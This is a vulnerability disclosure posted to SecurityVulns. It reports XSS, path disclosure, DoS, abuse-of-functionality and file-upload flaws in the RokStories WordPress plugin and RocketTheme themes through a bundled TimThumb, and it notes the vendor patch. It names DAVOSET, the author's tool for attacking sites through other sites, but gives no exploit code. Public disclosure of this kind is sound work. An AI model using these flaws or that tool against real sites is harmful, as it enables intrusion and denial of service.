SecurityvulnsSECURITYVULNS:DOC:29819Multiple vulnerabilities in RokStories for WordPress
Hello 3APA3A!
I want to warn you about multiple vulnerabilities in plugin RokStories for WordPress. In August 2012 I wrote about multiple vulnerabilities in RokBox for WordPress (http://securityvulns.ru/docs28871.html). These vulnerabilities are similar, since the same developers put the same vulnerable TimThumb into another their plugin (vulnerabilities in which I disclosed already in 2011).
These are Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service and Arbitrary File Upload vulnerabilities.
In July 2013 developers released a patch for their plugins and themes with TimThumb (http://www.rockettheme.com/wordpress-updates/1871-security-patch-for-wordpress-timthumb), which can be used to fix these vulnerabilities (except the last FPD).
Affected products:
Vulnerable are RokStories 1.25 and previous versions (to attacks on TimThumb and all versions are vulnerable to FPD).
Besides standalone WP plugin, this web application comes as part of the themes. Many of 56 RocketTheme's WP themes (http://www.rockettheme.com/wordpress-themes) use RokStories and old versions of these themes are vulnerable to attacks on TimThumb (and all versions of them are vulnerable to FPD).
Affected vendors:
RocketTheme

About such Abuse of Functionality and Denial of Service vulnerabilities you can read in my article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). For such attacks my tool DAVOSET (http://websecurity.com.ua/davoset/) can be used.
Arbitrary File Upload (WASC-31):

This Arbitrary File Upload vulnerability in TimThumb was disclosed last year after 3,5 months after my disclosure of previous holes.
